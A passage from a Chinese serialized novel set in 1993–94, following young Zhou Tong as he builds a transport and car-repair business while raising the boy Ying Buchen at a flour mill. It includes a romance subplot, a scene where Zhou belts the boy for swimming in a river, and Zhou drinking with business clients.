周瞳付了钱,应不尘想重新给他带上,但是闹不明白后面扣的节,周瞳夹着包,蹲下来教他,“你看,就这样,按过去,就卡住了。”
“哥,你带真的太有样啦!”应不尘说。
“你小子就是嘴甜,”周瞳说,“你不是要买东西么,买吧。”
93年末尾的省城还是有些新奇玩意儿的了,但是一问都很贵,应不尘咂咂嘴,哥挣钱太辛苦了,他有时候去拉面粉,一洗脸水都是白的,想到这里就啥也舍不得买了。
“这都笔,你选选?”周瞳对着一排的文具问。
“我不要,我就要汪爷做的。”应不尘拉着他的手就要走。
“你汪爷做的笔比这里的还强啊?”周瞳拎着个包被他拉着。
“嗯。”
“你晃啥呢。”周瞳说,“那头好像是有个儿童乐园,领你玩去?”
应不尘点点头,但是没想到刚出供销社,就遇到了一个姑娘。
“我弟弟。”周瞳向姑娘介绍道。
姑娘姓沈,偶尔也会来面粉厂的,是老板的女儿,每个月都会来办公室拿一次账。
“我见着面粉厂的车了,猜着你应该在这里附近,汪姨总说你每回来省城都从这儿给她们带东西。”沈姑娘说。
沈老板生意做得大,对谁都客客气气的,尤其是那些读过书的。
按照沈老板的话说,自己就是个土暴发户,都是仰仗着这些有能力有知识的才能挣到钱,他的女儿出落得体面,半散着头发,穿着粉色的连衣裙,拎了个皮包。
周瞳摸摸脑袋,问,“你吃饭了不,要不,这边是吃一口?”
沈姑娘含着笑,跟周瞳一块儿进了个饭店。
周瞳不对劲。
应不尘的直觉告诉他。
他哥站没站相,坐没坐相,往那一歪,跟没长骨头似的,现在怎么把背绷得那么直?
周瞳客客气气的点菜,与姑娘说话,逗得姑娘捂着嘴笑。
应不尘像个电灯泡。
沈姑娘给他点了一份儿童套餐,但是周瞳又给问了问,叫应不尘一起看,画报上的字他也看不懂,最后沈姑娘跟周瞳一块儿给点的。
沈姑娘去卫生间了。
周瞳看出他不高兴,“小碎嘴子,咋不说话了?”
应不尘说,“哥,你是不是喜欢她?”
周瞳啧了一声,“这谁能不喜欢?”
沈姑娘回来了,他们又在继续说话,真是不知道哪来的这么多话好说,儿童公乐园还去不去了。
应不尘瘪瘪嘴,只能往嘴里塞东西,省城的东西也不怎么样,塞牙,还不如面粉厂的面疙瘩好吃呢。
面粉厂的小朋友早就说了,说哥在外面谈朋友。
沈姑娘吃完了,跟周瞳告别,看周瞳那样儿吧,人家都走了,还盯着瞧。
“哥,你要谈恋爱啦?”应不尘问。
“唉,”周瞳掸掸衣服,说,“哥可能确实,还是有点魅力来着。”
说罢朝应不尘眨眨眼。
应不尘有点难受,还不如从前呢,现在周瞳越来越有钱了,也越来越忙了,不回家不说,还谈恋爱了,他拉完车还有时间谈恋爱,还是不忙,现在吃饭都不能把腿翘起来,都得坐的端端正正的吃饭。
应不尘有点想沙龙店后面的铁皮房子,在那的时候,周瞳给他剪指甲,给他读课文,跟他说,“你汪奶奶给你吃啥你就吃啥,别挑嘴知道不?”
现在虽然说周瞳说了,不喜欢吃的东西可以吐出来,但是,怎么就不是那个味儿呢。
他们一顿饭吃的时间太久了。
“上不去儿童乐园了,”周瞳说,“都关门了。”
应不尘闷闷不乐。
周瞳抱他起来,说,“给你买个奥特曼,行不?”
应不尘不要他抱,他都十岁了,能自己走路了。
“嘿,你这小子,没去成给我耍什么脾气呢?”周瞳上前去,牵住他手,说,“住招待所,我怕赶夜路回去不安全。”
93年的公路修的还不是很好,有的近路要过村子,有的路上会出来兔子,两边也没围栏,要是起了雾了一点儿也看不清楚。
“你以前晚上都回去的。”应不尘说。
“你在家里头等我,我住什么招待所。”周瞳说。
招待所确实比家里强,墙上都是干干净净的,没有钉子,也没有机油,在印象里,周瞳回来就把机油擦在门边的墙上,一股子味。
周瞳带着应不尘洗澡,这里已经有花洒了,就是一根水管子,出热水的时候烫得要命,在家里洗澡的时候,还得一桶一桶地拎水。
周瞳穿这个裤衩给应不尘洗澡。
“我自己能洗了。” 应不尘说。
“你搓得到后面啊?”周瞳问,接着拿着搓澡巾跟搓死猪似的搓他,搓出来一身的皴,“你看,你多埋汰。”
“我也会搓。”应不尘说。
“你给我搓呗,”周瞳坐在卫生间的地上,小孩儿卖力地给他搓背。“使劲儿啊,没吃饭呢?”
应不尘就卖力搓。
“都能使唤了,”周瞳说,“小孩子差一岁真是不得了。”
“哥,”应不尘说,“你太瘦了,后面的骨头都凸出来了,你为啥不好好吃饭。”
“还管起我来了,”周瞳拿着花洒呲他,“我管你叫哥呗。”
闹了一阵,俩人躺在床上。
外面的天已经黑了。
“哥,”应不尘玩着周瞳的手指,说,“你要挣多少钱才够呀?”
“我哪儿有钱,”周瞳闭着眼睛说,“你,我得供着你吧,你汪爷爷汪奶奶,没孩子吧,在我身上搭多少钱啦?我得孝顺,一个钱掰开八瓣都不够你们花。”
“你不是要攒钱娶媳妇儿吗?”应不尘问。
“嗯,”周瞳翻了个身,说,“这个事儿再看,现在没那想头。”
“为啥呀?”应不尘也换了一面,穿着个小裤衩蹲在周瞳面前。
“我结婚了,我得生孩子吧。你一个我都不够费劲的,”周瞳说,“再来一个,你给她带,人家凭啥带你是吧,手心手背的,总有不匀称,那玩意儿不成。”
“我可以去汪奶奶家住。”应不尘说。
“占便宜没头了啊,”周瞳打了他脑袋,说,“俩老人加起来一百三四了,还给我养孩子,你也想得出来。”
“那,那。”应不尘也不知道怎么办了,泄了气,蹲在床头。
“我还小,我都没到二十呢,我操心那玩意儿干啥,”周瞳说,“等你长大了,能离了人了,那会儿我算算,我顶多也是个二十
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五六,有啥不行的,没管着你,你走歪了咋整。”
“行了,就操心那没用的,”周瞳说,“不知道的还以为你是我爹呢,操心我娶老婆生孩子。”
“我没玩够呢。”周瞳的手搁在枕头下面,说,“快睡觉。”
应不尘其实很不想周瞳结婚,面粉厂的人可是说了,老多小姑娘等着扑他呢,有钱的没他好看,好看的没他有钱,对孩子又好,对老人孝顺,还学着文化呢。
一大早,应不尘就被周瞳抱着上了车,他拿冷水洗脸,就跳上了大货车。
应不尘第一次醒来就看见了日出,他们正往东方去。
“哥,”应不尘睡得迷迷糊糊,说,“为啥这么早啊?”
“我得赶着六点前,我认识的那个收费的就下班了,”周瞳蹦了上来,说,“省得过路费呢。”
应不尘问,“那你刚刚在弄啥?”
“过收费亭的卡,”周瞳说,“这玩意也有说法,这儿的路有点乱,马路霸王都挣了死钱了。”
“咋挣啊?”应不尘问。
周瞳讲了一通,应不尘也没听明白,反正云里雾里的。
应不尘看着窗外头,说,“哥,你现在是老板了吗?”
周瞳挠挠头,说,“我也不知道,就是瞎混。”
应不尘说,“哥,你很想当老板吗?”
周瞳说,“我刚刚来的时候,我在天桥上看见一个老板,我蹲在边上吃茶叶蛋,我买了俩,另一个你吃了,你肯定记不住了。”
“那会儿看着老板,我看他的打扮,我都羡慕得不得了。”周瞳说,“但是我现在也跟他一个打扮了,但是我啥也没有,明年吧。明年给咱俩攒点东西。”
应不尘问,“啥东西?”
周瞳咧嘴笑,说,“家业呗,不然我让你上黄师傅那头干啥呢。人还得有能捏在手里的本事,不然像我现在就虚得很。”
应不尘说,“我听不太懂。”
周瞳说,“你知道为啥我跟你说的你听不懂,我还是跟你说吗?”
应不尘问,“为啥?”
周瞳说,“你奶跟我说的耳濡目染,人家讲了小孩儿要从娘胎里就那个啥,听音乐,熏着,长大了就有音乐细菌,我现在对你就是把你熏着,吃亏的,活络的,都讲给你听,你现在听不懂不要紧,长大了在遇上啥事儿,要是能想起来一句两句的,咱也能少走弯路不是。”
应不尘说,“我有哥,我遇不上事。”
***
93年过年的时候,周瞳送给汪家的年礼早早地就过去了,汪爷爷对着那钢笔爱不释手,上头还有编号,是汪奶奶跟汪爷爷的结婚纪念日。
他俩在汪爷爷的书房里说了好久的话。
汪奶奶没啥东西喜欢的,她这辈子就搞教育,所以周瞳送了学生语录给她,拖应不尘的那个年轻的女老师帮忙,搞了那些汪奶奶收回读书的孩子的信。汪奶奶看了又看。
风哥他们都回去过年了,周瞳给他们都派了厚厚的红包,过年有样些。
这一年,应不尘穿上了新棉袄,周瞳说,“谁宝贝儿这么有样子?”
周瞳摸着他脖子说,“去年过年哥就买了个鸡杂给你过年,今年都给你补上,你想吃啥?”
应不尘缩了缩脖子,说,“鸡杂。”
周瞳说,“吃点别的,值钱的。”
应不尘想了一圈,说,“鸡杂。”
周瞳说,“就光吃鸡杂啊?”
应不尘说,“我就要吃一辈子的鸡杂!”
周瞳笑着去拉他,“没出息。”
应不尘牵着周瞳的手走在街上,街道两边卖瓜子的,卖炮仗的,都招呼他,他带着气派的手表,头发上打了摩丝,他笑起来还是好看,里面穿了件皮衣,外面又加了一件长款的棉袄,他的腿又细又长,街上没人这么穿。
应不尘看着他叼了根烟,夹在手上。
义无反顾地往前走去。
14. 1994[1]
1994年春天。
在应不尘的印象里,这是周瞳最忙的一年,在别人的印象里,这是周瞳最辉煌的一年。
黄师傅终于愿意教周瞳修车了,他啥也不干了,就围在黄师傅身边打转。
倒腾了几个二手车让风子他们出去拉。
周瞳都不叫他娘娘腔了,跟着应不尘叫他强叔,他说还没有腔叔听起来顺当。
应不尘听见娘娘腔说,没啥事,有吃有喝还能睡觉,比在外头强多了。
周瞳当时倒是说,这么好,不行再进去呆几天呗。
回头眼睛又红了。
周瞳说那几个逼子儿都让修车厂挣了,他就得好好学。
人家说黄师傅还不是要为五斗米折腰,之前看不上现在上杆子要教。
应不尘最高兴,因为周瞳在面粉厂修车的话,自己天天都能看见他。
“哥,你吃梅子不。”应不尘穿着个背带裤蹲在边上问。
“啥?”周瞳听不见,他躺在有四个轮子的板车上,穿这个脏兮兮的工服,灰色的,挽着个袖子,穿着手套,一出溜就滑出来了。
“哥,你吃梅子不?”应不尘看见周瞳滑出来了就去塞他嘴里。
“酸的。”周瞳说。
应不尘去他嘴边接籽,周瞳吐出来。
周瞳说,“你今年买点什么水果,你吃一吃,你就当买给我吃,行吗?别抠门了。”
应不尘点点头,说,“行,你中午在家吃饭吗?”
“我不在家吃饭,我去哪里吃饭。”周瞳拿着个扳手,说,“虎口都要痛死了。”
“我回家给你按按,”应不尘又从兜里掏,“哥,你吃老鼠屎不?”
“我有病啊我吃老鼠屎,”周瞳说,“你吃吧。行吗?多吃点。”
“哥,你都不懂,老鼠屎是这个,”应不尘拿着盒零食,倒出一颗颗的小黑丸子,说,“这就是老鼠屎。”
“我不吃,跟皴似的,”周瞳逗他,“我混一个我搓的进去你也不知道。”
“哥,修车好玩不?”应不尘问。
“有啥好玩的呀,”周瞳说,“去,帮我把手电拿过来。”
周瞳在边上修车,应不尘就在那个棚子下面读书。
周瞳还去借了不少书看,19岁的周瞳跟9岁的应不尘一起读上了书。
“哥,这个字念啥呀?”
“这个呢?”
“哥,你看我这题目做对了吗?”
“这题呢?”
周瞳最开始还有点耐心,但是自己看不得一个图就被打断三回,毛了,在边上喊,“问你奶去!你问我我哪儿知道?”
应不尘被喊了一嗓子,噎住了,开始打嗝,坐在边上的威哥说,“呀,这孩子不是被吓了卡住了吧?你赶紧,赶紧,你给他抱起来!”
周瞳感觉把孩子抱起来,紧张地问,“然后呢!”
威哥往嘴里扔了个花生米,说,“抱紧一点儿。”
周瞳抱紧了,应不尘还在打嗝。
威哥不紧不慢地说,“抱一会儿就好了。”
应不尘躲在周瞳怀里乐,瞧着周瞳,说,“威哥骗你呢,哥!”
黄师傅话很少,也怎么教周瞳,演示一遍,完了拆了,让他自个儿找毛病。
周瞳修得上火,基本都得全拆一遍。
修车厂这会儿基本都很宰人,有车的人都有钱的很。
马路上的路霸就更不用说,从省城到宜华,如果有小路就需要特别担心,有路耗子在转弯的时候就拿刀割开大货车的皮绳跟篷布,割开就完蛋,那些货都会被大车甩下来,重,要不回来,有人蹲在路边捡,要是司机敢下车就免不得一顿打。
那会儿的大车都得拜码头,做点啥标志,路耗子看见了就不能动。
“感觉以后这路才是大头。”周瞳说。
“哥,路耗子这么厉害,你咋不去当路耗子?”应不尘问。
“我去当那玩意儿干啥,又不能当饭碗。”周瞳说,“人就衣食住行,墩子我干不了我连芹菜跟茼蒿都费劲能分清楚,住的话房子跟田地咱也没有,衣的话,你看现在的衣服都越来越时兴,纺织场要挣大钱,剩下的不就是路了么。”
“哥,你学会了修车之后要干啥?”应不尘问。
“那就是倒腾二手车呗,整几个快报废的,修一修,就搞运输队,运输队就养自己的装卸工,然后让他们出去拉活儿。”周瞳捣鼓着手上的东西。
“那你干啥?”应不尘问。
“我?”周瞳说,“我就陪着你,在家拨算盘,行吗?”
***
天气逐渐热了,这个铁皮的小房子一到下午就热得跟蒸锅一样,这里的电线是从老师奶奶的办公室接出来的,多链接点什么都容易让办公室跳闸。
办公室里有壁挂的电风扇,好多人挤在这里吹风,抽烟的抽烟,打牌的打牌,地上还有凉席,有人窝在地上睡觉。
夏天的电压不稳,就总是断电。
周瞳说得找人合伙儿干修车厂,不知道他找的谁,别人都说,那个沈姑娘对哥有意思。
应不尘不知道周瞳是不是要去谈恋爱,反正他回家的时间越来越少,应不尘在面粉厂里也有其他的小朋友一起玩耍,面粉厂的食堂有电视机,小孩儿来的时候他们总是关掉不让看。
面粉厂后头有一条河,大人们总是不让孩子们去,他们自己却在河里洗澡,玩水,捞鱼虾。
应不尘也想去,但是不敢。
因为周瞳不让他玩水。
摩托车的轮胎在这里是最好的玩具,可以用绳子悬挂在车棚子上当秋千,也可以放在水里当游泳圈。
应不尘的小朋友圈叫他一起去河里玩水,应不尘说,“哥不让!”
“你哥哥谈恋爱去啦!沈老板的女儿约着走啦!”小朋友丁丁说,“我爸都说你哥长得好看就能吃软饭!”
应不尘不知道吃软饭是什么意思,反正是好事,总比吃面条,吃饼干强吧,那种干巴巴的饼干,好像叫罐头饼干也叫压缩饼干,吃起来特别费牙。
别人听见那么说,逗应不尘,“吃软饭的意思呀,就是啥都不干就能吃饭。”
应不尘这一听,不就是自己吗?啥也不用干,就能吃饭,他把手拢在最前面,说,“我哥才不吃软饭!我才能吃我哥的软饭!”
众人笑他,说,“你可吃不上你哥的软饭。”
应不尘不依,偏说,“我就要吃我哥的软饭!”
小朋友呼喊道,“你哥不要你啦,当新郎官去啦!”
应不尘不懂哥去当新郎官为什么没带上他,他心里不舒服,就是上次的那个沈姑娘,一口一口的,还要用叉子吃饭,吃一口就要擦一次嘴巴,说了好几次三克油。
三克油是什么油?猪油做饭才好吃呢。
应不尘看着自己的作文,看见旁边贴的小红花,心里不得劲。
“快走呀!”偏偏小孩儿还要催,“你哥真出去啦,刚到门口,都没进来,又开车走了!”
应不尘巴巴地看着门口,说,“真的?”
“骗你干啥?”小朋友说,“快点儿,一会儿别的厂的人都来啦!”
应不尘不高兴,偏要哥看见他,注意他,不让他当新郎官。
他都说了,不想那事的,他又骗人。
他还说要看自己的作业,到了门口也不进来。
应不尘觉得自己这样不对,但是怎么也不舒服。
应不尘跟着疯跑到河边,脱了衣服下了水。
水里的感觉好奇妙,应不尘无师自通,捏着鼻子就能在水里憋气好久。他在水里游来游去,谁的话也不听。河水有一个落坡,对一个八岁孩子来说实在湍急,但是应不尘如同灵巧的鱼,好像生来就长在水里。
应不尘越游越远,连河边的声音都听不到了。
应不尘在水里摸到了螺蛳,蛤蜊,小螃蟹,他把衣服也扯了下去,在肚子上装了一大兜。
自然,应不尘迎接了人生中来自于周瞳的第一顿打,在他即将四年级的暑假
周瞳浑身滴水,脸阴得跟死了奶奶一样,路上有人笑,“小尘要回去吃藤条炒肉啦!”
应不尘抬着头,脑袋抵在周瞳的下巴上,说,“哥,你给我带菜啦?”
周瞳嗙的一声关上了门,摇得整个铁皮房子都震,他扯了皮带,喝,“脱裤子,趴那!”
应不尘感觉不妙,但是没有办法,自己慢慢吞吞脱了裤子,撅着屁股趴着,第一下皮带甩在屁股上的时候,应不尘揪紧了床单,一声不吭。
第二下皮带抽下来的时候,周瞳问,“知道为什么打你吗!”
应不尘的屁股火辣辣的,想哭,又收住了眼泪,还是一声不吭。
那些急于认错的小孩总会让人高高抓起轻轻放下,但是应不
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尘这种梗逼显然打不服。
在周瞳第三下抽在他屁股上的时候,皮肉都痛了,可是他还是不吭声。
周瞳点烟,打了好几下打火机都打不着火,他怒气冲冲地摔了打火机,就去煤气灶上点烟,煤气灶的旋钮不好使,一下子就烧了周瞳的头发,他更生气了,又拿了皮带来抽应不尘。
“我他妈让你说话!”周瞳喊道。
周瞳甚少会这样疾言厉色,在别的小朋友回家都被父母呵斥的时候,周瞳总是一副“那他妈有多大事儿”的模样,他向来好说话,是小朋友们最喜欢的家长,也是应不尘同学们最羡慕的家长。
学校里安排了小组扫地,倒垃圾,美名其曰锻炼生活能力,但是应不尘一组的女生家里条件优越,总是恃宠而骄,换好几个值日生都要出幺蛾子,最后摊上了应不尘,她总是将最埋汰的活计让应不尘干。
一般都是这个女生负责包干区,而应不尘负责教室,包干区就在花坛旁边,最大的活儿也就是扫落叶,而教室里的活儿就多了,除了一整天的擦黑板,扫地,倒垃圾,关窗户,最后还要锁门,第二天一早第一个来开门。
那一次,包干区不知道是哪儿来的呕吐物,女生不愿意干,非要跟应不尘换,而此时的应不尘基本都做完了教室的卫生,就是不愿意。
女生急了,不干了,说,回家就告诉妈妈,应不尘这种借读生还要摆谱。
卫生老师找到周瞳来办公室,小姑娘吧嗒吧嗒地掉眼泪,应不尘像个做错了事情的孩子站在周瞳的旁边,老师轻扣桌面,说,“这有助于孩子从小培养卫生习惯。”
周瞳问,“我还以为有助于孩子从小培养趋炎附势的习惯呢?”
老师恼了,说,“人家女孩子娇气一点,不会扫地,同学之间就不能互相帮助了是吧?”
周瞳说,“我们家的孩子也很娇气,在家也不会扫地。”
说着就带着应不尘走了。
周瞳带上了墨镜,他总是这样耍酷的,又点燃了一根香烟,蹲下来拿着皮包打应不尘的脑袋,说,“哭鸡毛啊,哥能不知道你啥人呀?”
应不尘觉得哥是世界上最好的哥,不管他是洗头仔,还是装卸工,再或者是偷摸拉货的黑驴子,他都是最帅的哥。就像他作文里写的一样。
所以在他的皮带抽在屁股上的时候,应不尘搞不懂,他为什么这次没有问他为什么要去,没有问他缘由就将他堆在河边的螺蛳跟蛤蜊踢散,他为什么会变成这样?
应不尘保持这个烂屁股的姿势保持了好久,周瞳就在那张钢丝床上坐了多久。
应不尘觉得哥在生气,他屯着裤子过来,趴在周瞳的膝盖上。
“哥,你不回家,昨天晚上烧得泡脚的水,都冷了,我早上倒了。”应不尘说。
钢板房里的光线都是漏的地方直射进来的,打在周瞳的身后,他摸着应不尘的脸,半晌,说,“那也不能去河里,我们的家里人都死水里了,咱不去。”
应不尘点点头,抬起头来,眼泪八叉的,说,“哥,你别生气,我听话了。”
“嗯。”周瞳的手指搓着应不尘的脸,实在太粗糙了,搓着疼,他鲜少这样认真地说话,他说,“你长大了,以后要自己管自己。”
印象里,他从来都不正经,他在当洗头仔的时候就学会抽烟了,跟个老烟枪一样,他到处溜奸耍滑,见了操作间的女孩儿总是满嘴的笑话,他好像永远都挂着笑脸,两年了,应不尘从没见他这么生气过。
周瞳是个小混子,黄毛小流氓,他两手空空,又好像什么都有,应不尘看着他的眼睛,问,“哥,你这次,都八天没有回来看我了。”
应不尘哭着,就趴在周瞳的膝盖上,呜咽着,“我作文都写了好久了,你都没有看,哥,钱为什么这么坏,没有钱的时候,你要哭,有钱了,为什么我要哭。”
“哥,我给你捡了蛤蜊,跟我们,那个海边的有点像,”应不尘抽着气,“以前,我妈妈都腌起来,过年,过年吃,”应不尘说的磕磕巴巴,“我想,过年的时候,你想家,我,我,呜呜,都踢掉了。”
后果是等应不尘哭得睡着了之后,周瞳蹲在河边,一颗颗地捡着蛤蜊。
“周老板,你有这功夫,你都挣了两袋蛤蜊啦!”有骑着自行车的人喊。
“瞧您说的,都是厂子您这样的叔叔照顾,”周瞳说,“小尘弄丢了,给家哭呢,我不来捡怎么弄?”
15. 1994[2]
周瞳又没回家,夏天的时候他忙着搞自己的运输队加修车厂。
自来水厂的款子风子没咋拿,非说不着急,紧着要搞自己的运输队,之前讲的说都要二手车,一看见新的,他们几个一个都挪不动脚。
但是没法子,款子就这么点,说他妈的,迟早给这破二手车换了。
应不尘被安排去小朋友的家里吃饭,在面粉厂,这里就像个大家庭,谁家有时出去了,都会把孩子托付在厂子里,谁家也不缺一口饭吃。
“小尘,你哥是不是要搞自己的运输队啦?”小朋友的爸爸问应不尘。
“我不知道。”应不尘说。
“我听说的好像是搞那个加油站勒。”小朋友的妈妈说,“都在说,以后都得开小汽车,加油站挣钱,是不,小尘?”
“我不知道。”应不尘闷头吃饭。
关于周瞳到底在干什么的传闻,应不尘已经无从分辨了。
又到了上学的月份了,面粉厂在九月十月的时候就开始收稻谷了,周瞳忙得也头脚倒悬,但是他还是没有忘记帮汪爷爷家把谷子收了。
收完谷子又进了汪爷爷的书房,汪爷爷好像给他写字了。
“哥,”应不尘问,“你咋瘦了这些呢?”
“没事儿,”周瞳说,“瘦了好看,你瞧旺旺那么胖,好看啊?”
“那也太瘦了,”应不尘说,“哥,我想去你那看看。”
“现在没样,”周瞳说,“都是些烂车子,但是你风子叔他们又不肯拿工资,非得说整了就得有样,又他娘没日没夜的跑,我拦都拦不住。”
“为啥风子叔他们那么好?”应不尘问。
“不晓得,”周瞳说,“都是我贵人,他们说只管我能把生意拉来,他们啥都不问。”
周瞳一手拿着半拉包子,一手正在记账,“照这么整,这个月月底吧,能整上新车。”
“第一辆来了,后头的就快了。”周瞳抱起来应不尘啄了一口,“新车来回来,哥就领你去看,行不?”
那之后,周瞳又开始不见了,有时候回来都大半夜。
应不尘真的感觉到哥发达了,是因为经常有人在家里坐,女工还有帮哥来洗衣服的。一下午就洗不出来一件,就坐在这铁皮房子里,应不尘也不知道她啥意思。
也有年纪大了但是应不尘不认识的叔,说有事儿来找他哥,一次不在就来两次,两次不在就来三次。
家里开始有人送礼,有时候是地里的菜,有时候就猪肉排骨,应不尘也不知道咋弄,混在一锅里面炖。
***
“你放我回去开车吧,行吗?”风子每次都要把喝多了的周瞳弄回去,要是在宜华就还好,应不尘会呆呆地拉着个板车过来把他哥接走,省的他喝多了没人弄。
但是要是不在宜华,就成了风子的活儿了。
“那我换谁?”周瞳今天又来拉客户,酒杯子一端,就得开喝。
“我叫娘娘腔过来。”风子捂着脸,说,“我就不乐意这地界。”
“又没叫你喝,”周瞳说,“看见那头那个胖的没?这老板做的是织布机的生意,那玩意儿老大死沉的,现在布匹生意好做,那领带布什么的,利润可高了,我要是能给他生意拉过来,我们运输队第二辆车都直接进了兜了。”
“你急啥呀,”风子说,“前几天你拉的那个弄菩萨的,拉木头的都没整完呢,你这身子哪里吃得消这么跑这么作。”
“咋不急,”周瞳说,“宜华的运输队没个章法,咱要做就做顶好的正规的运输公司,以后老子还要干省城去呢,这才哪到哪。”周瞳掐了烟,就要上去敬酒。
风子真是太讨厌这种场合了,说话都是官腔,车轱辘一样的场面话,看着周瞳又在前面点头哈腰的说话,闷闷地点了一根烟。
周瞳打了一圈场面回来,风子都等得快睡着了。
“咋呀?走呀?”风子捂着眼睛问。
“不成,我晚上得去打麻将,陪着打几圈。”周瞳夹着包去撂衣服,说,“你回去睡觉去,别等我了,你上那个宾馆好好睡,车别锁了,我弄完大半夜的,车里对付一宿得了。”
对面有人喊小周,周瞳诶诶地应着,拿着外套巴巴地过去了。
又去送钱。
风子蜷缩在车里,他舍不得开宾馆,就坐在他们打麻将的楼下面。
说有好菜好饭的好场面,小眼镜,娘娘腔跟风子最开始都可想来了,来了一回就说啥好饭都不稀罕,就吃盒饭拉大车就行,这活儿不是人干的。
夜已过半,周瞳终于下楼了。
“你咋给这儿呢?”周瞳前后看看,“不是叫你去宾馆睡么。”
“我心思晚上直接回去宜华了呗,我上次看见小尘,是个车就探出去看,你惦记他,我给你晚上就捎回去。”
周瞳看牌看得眼睛都花了,晚上又认识个做风机的老板,一晚上净给他们喂牌了,这掼蛋还是新学的呢,打两圈就会了。
周瞳闭着眼睛,嗯了一声,说,“风子。”又不说话了。
风子搓着方向盘,说,“别跟自己上劲儿,别总觉得欠我们啥,就你让我上去拉生意,人家都不接烟的劲儿我早跑了,也就你能一回两回三回的去。”
“这东西,谈烂了不是正常事儿么,谈成了不是一把就行了,咱给维护维护,以后就自己买卖找上门了。”周瞳闭着眼睛,挨着窗户,说,“累。”
“累你就睡一觉,睡醒了我都开到了。”风子说。
周瞳开了一点点车窗,风呼呼地吹进来,他伸手去够,想着啥事儿了,说,“上回我去割麦子,那个收割机那头的老板,你问了没?”
“你快歇着吧。”风子说,“咋的,你一个人就想给宜华的生意都吃了?”
“那小眼镜盯着款子呢么?”周瞳说,“这事儿顶要紧,不给钱不卸,但是别弄得太难看。”
“知道。”风子说,“都晓得你求来生意不容易,要钱都跟孙子似的,放心吧。”
“嗯,”周瞳应了一声,说,“之前那些运输队的都牛得发邪,临时加价的太多了,连着装卸都敢敲竹杠,咱不能整一套,咱说了价就是价,溢出来的绕路的过磅的,跟人说清楚,小眼镜还成,实在不成就让我过去。”
“你睡觉吧。”风子说,“娘娘腔看着呢,你叫他硬他也硬不起来啊。”
“我瞧着他硬骨头。”周瞳抻了抻身子,窝成一团,睡了。
等周瞳再醒过的时候,就到面粉厂了,应不尘有盏小台灯,在窗户里发着一点点光亮,离远了看,跟个萤火虫似的。
但是就这么点萤火虫一样的光亮,就够周瞳喝完酒打完牌坐完车之后还能认清楚方向了。
应不尘都睡了,一听见小皮鞋的动静就知道哥回来了。
他哥的脚步声他都能认出来。
应不尘接了包,喊了声,“哥。”
周瞳累死了,往床上一趴,问,“有吃的没,我晚上净喝酒了,两口菜都没吃上。”
大晚上的,应不尘就开始打火煮面条。
“哥,”应不尘说,“我不晓得你回来,汪奶奶给我的饭票我在食堂吃的。”
“挺好,”周瞳翻过身来,说,“累。”
水还烧着,应不尘给他脱鞋子,摘手表,松皮带,摘领带,拿了块毛巾擦手擦脸,连后脖子都松快了。
“咋这么好呢,”周瞳捏着应不尘的脸说,“这一套,搁谁谁不迷糊。”
水开了,应不尘去下面条,说,“哥,我给你煮烂一点儿。”
周瞳就躺在床上看着跑前跑后的应不尘,说,“媳妇都没你贴心。”
“汪爷爷说了,哥有哥的活儿,我有我的活儿。”应不尘说,“要心疼哥。”
“谁家宝贝儿这么懂事呢,叫我瞧瞧。”周瞳勾勾手。
应不尘又过来了,挨着周瞳抓他的手指,“哥,你多回来看看我呗。”
周瞳吃了面条,打个饱嗝儿,说,“这段实在忙,又要腾钱出来人不够还得去跑车,总不好光叫风子他们干的。”
应不尘点点头,说,“我在家等你。”
那之后,应不尘又有好几天没看见他了。
只听说哥是卡拉ok的大客户,跟一群老板混在一起。
听说哥还是对面粉厂的人特别好,在外面特别帮衬。
听说面粉厂沈老板的女儿沈姑娘最近都住在宜华了,她本来在省城的,很少回来。
连着应不尘都受到优待。
但是应不尘总觉得心里空了。
“你今天去上学咋样,”周瞳忙里偷着回来,还给应不尘带了俩菜,“新衣服,都给你捎过来了吧?”
周瞳长了点胡渣,看着老了似的,应不尘有点看不惯,拿着刮胡刀给他。
“等我这阵儿忙完,”周瞳对着镜子刮着胡子说,“就不住这里了。”
“为啥不住这里?”应不尘问。
“这里有啥好的,都漏风,”周瞳狡黠一笑,对着歪镜子抬着眉弄头发。
周瞳开完账,手上终于也是余出来一点点钱,本来说想买个好点儿的二手小轿车,人家谈生意都得敬着罗衣,但是想了三圈,还是想买个房子,小车这玩意儿就自己开,租一个得了。当然,应不尘可以继续住在这里,因为这儿有人照顾,但是自己也得有点房子,总不能真住在这漏风的铁皮房子里一直过吧,总得让孩子先踏实了。
周瞳算着钱,去问过地方好新盖的那些个还差一点点钱,这把忙完,应该能在过年前就买下来了。
周
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瞳选不好,一个离着学校近,就是在五楼,有点高,老人来了爬楼麻烦,但是上学方便。
一个是自己盖的的小楼,有个院子,倒是能让应不尘养点儿小狗小猫啥的作伴,那院子还有一点好,出来没台阶,汪家俩老人过来住也方便,汪爷就乐意带孩子写写字,得腾个屋出来让他俩弄这些,汪爷不都说了么,写这东西心静,应不尘就该对自己有章法,像字似的,安置在里面。
周瞳要等忙完,带着应不尘自己去选,反正自己在家呆的时间太短了,住哪儿都一样,主要是他喜欢哪儿。
应不尘心里犯嘀咕,站在周瞳后面不知道这里到底是哪里不好了,哥有钱了,就看不上这里了。
周瞳叼了一根烟,烟雾遮住了他的眼睛,他说,“咋了,瞧着哥回来不高兴?”
应不尘心里有点儿难受,问,说,“我觉得...这里挺好的呀...”
周瞳插着兜,他的衣服现在应不尘都不认识了,他说,“有工夫我领你住宾馆去,比从前那招待所都不知道牛了多少,你住过就知道这里多不好了。”
应不尘搓着自己的小手,周瞳皱眉起来,说,“天都要冷了,咋还穿个裤衩子瞎跑呢?”
他晃了晃床,应不尘都不知道他多久没有回来睡了,他说,“回头我让人给你送点衣服过来。”
“我有衣服...”应不尘说。
想起了好多人叫应不尘转达一些乱七八糟的东西,应不尘又说,“哥,那个丁叔让我见着你了跟你说,弄电线杆子的赖经理想...”
“跟你这小孩儿说啥,”周瞳有点儿不耐烦了,说,“没完没了的,回来也没个安生。”
这个赖经理啥都要往上蹭,敲竹杠不带眨眼睛,见着老板那毕恭毕敬,专敲那些没依仗的,现在还找到家里来了,周瞳不待见他。
之前应不尘在菜市场捡了一只小鸡仔,快病死了,脸上烂了,汪奶奶给它涂了紫药水,让放在外头养。
小鸡进来看看周瞳,歪着头,尖的喙,周瞳想起来刚来的那一夜,那只被捅死了带着血满车乱窜到处飚血飚屎的鸡,那鸡血溅在人脸上,应不尘那会的脸上,就不由得有点不爽,说,“死脏的东西,弄这儿干啥呀!”
然后用皮鞋尖把他踢出去。
应不尘去捧小鸡,小鸡惊了一下,不高兴了,应不尘抱紧了,那鸡就乱窜,似是要啄应不尘的眼睛。
周瞳拎着这鸡就给扔了出去,脸上是紫色的,怪他妈吓人的。
